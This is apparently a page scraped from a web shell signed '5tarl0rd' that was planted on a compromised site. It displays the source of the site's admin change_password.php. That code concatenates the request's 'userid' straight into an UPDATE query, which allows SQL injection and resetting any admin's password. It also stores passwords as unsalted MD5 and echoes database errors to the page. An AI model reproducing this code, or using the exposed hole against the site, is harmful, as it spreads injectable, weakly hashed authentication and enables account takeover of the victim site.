5tarl0rd

Current Path : /home/tiporg/public_html/manage/
Upload File :
Current File : /home/tiporg/public_html/manage/change_password.php

<?php

include("includes/default.php");

include("includes/secure_session.php");



	$query = "select * from admin_user where admin_id=".$_SESSION['admin_id'];

	$result = mysql_query($query) or die(mysql_error());

	$row = @mysql_fetch_array($result);

	$userId = $row['admin_id'];

	$userName = $row['name'];

	

?>

<html>

<head>

<title>Change Password</title>

<link href="css/style.css" rel="stylesheet" type="text/css" />

<link href="css/main.css" rel="stylesheet" type="text/css">

<script language="javascript">

function submitfrm()

{

	var txtPass = document.changpassfrm.txtpassword.value;

	var txtConfirm = document.changpassfrm.txtconfirmpass.value;

	if(txtPass!=txtConfirm){

	alert('Password does not match,Re-enter your password');

		document.changpassfrm.txtpassword.focus();	

		return false;

	}

	else

	{

		return true;

	}

}



</script>

<meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">





<body  topmargin="0">

<?php include("includes/header.php");?>

<?php 

if(isset($_POST["Submit"]))

{



$queryOld = "select * from admin_user where admin_id=".$_SESSION['admin_id'];



$resultOld = mysql_query($queryOld) or die(mysql_error());

$rowOld = @mysql_fetch_array($resultOld);



if($rowOld['password']!=md5($_REQUEST['txtoldpassword'])){

?>

<script language="javascript">

alert('Your Old Password is Incorrect');

window.location = "change_password.php";

exit();

</script>



<?

exit();

}



$query ="update admin_user set password='".md5($_REQUEST['txtpassword'])."'

		 where admin_id=".$_REQUEST['userid'];



$result = mysql_query($query) or die(mysql_error());

 if($result){

 ?>

 <script language="javascript">

 alert("Password successfully Updated ")

 window.location = "index.php"

 </script>

 <?

// header("location: user_info.php");

 }



}

?>



<table width="98%" border="0" align="center" cellpadding="0" cellspacing="0">



   <tr>

    <td rowspan="2" align="left" background="images/white_left_bar.gif"></td>

    <td align="center"></td>

    <td width="1%" rowspan="2" align="right" background="images/white_right_bar.gif">&nbsp;</td>

  </tr>

  <tr>

    <td width="99%"><table width="98%" border="0" align="center" cellpadding="2" cellspacing="2">

      <tr>

        <td width="20%" valign="top"><?php require_once("includes/left_column.php");?></td>

        <td width="80%" valign="top" class="bodyTableBorderGray">

		  <table width="100%" border="0" cellspacing="0" cellpadding="0">

            <tr>

               <td height="22" align="center" bgcolor="#EFEFEF" class="boldText">Change User Password</td>

            </tr>

            <tr>

              <td><form name="changpassfrm"  method="post"  >

		<table width="100%" height="168" border="0" cellpadding="2" cellspacing="1">

          <tr>

            <td width="6%">&nbsp;</td>

            <td width="28%">&nbsp;</td>

            <td width="66%">&nbsp;</td>

          </tr>

          

          <tr>

            <td class="mainText">&nbsp;</td>

            <td class="mainText">Old Password </td>

            <td><input name="txtoldpassword" type="password" id="txtoldpassword" onBlur="javascript:checkOldPass();"></td>

          </tr>

          <tr>

            <td class="mainText">&nbsp;</td>

            <td class="mainText">Password</td>

            <td><input name="txtpassword" type="password" id="txtpassword"></td>

          </tr>

          <tr>

            <td>&nbsp;</td>

            <td class="mainText">Confirm Password </td>

            <td><input name="txtconfirmpass" type="password" id="txtconfirmpass"></td>

          </tr>

          

          <tr>

            <td>&nbsp;</td>

            <td><input type="hidden" name="userid" value="<?=$userId?>"></td>

            <td><input type="submit" name="Submit" value="Submit" onClick="javascript:return submitfrm();"></td>

          </tr>

        </table>

		</form></td>

            </tr>

          </table>		</td>

      </tr>

    </table>    </td>

  </tr>

  <tr>

    <td><img src="images/white_left_bottom_corner.gif" width="9" height="9" /></td>

    <td width="99%" background="images/white_bottom_bar.gif"><img src="images/white_bottom_bar.gif" width="4" height="9" /></td>

    <td width="1%"><img src="images/white_right_bottom_corner.gif" width="9" height="9" /></td>

  </tr>

</table>



</body>

</html>

5tarL0rd By 5tarl0rd Being Anonymous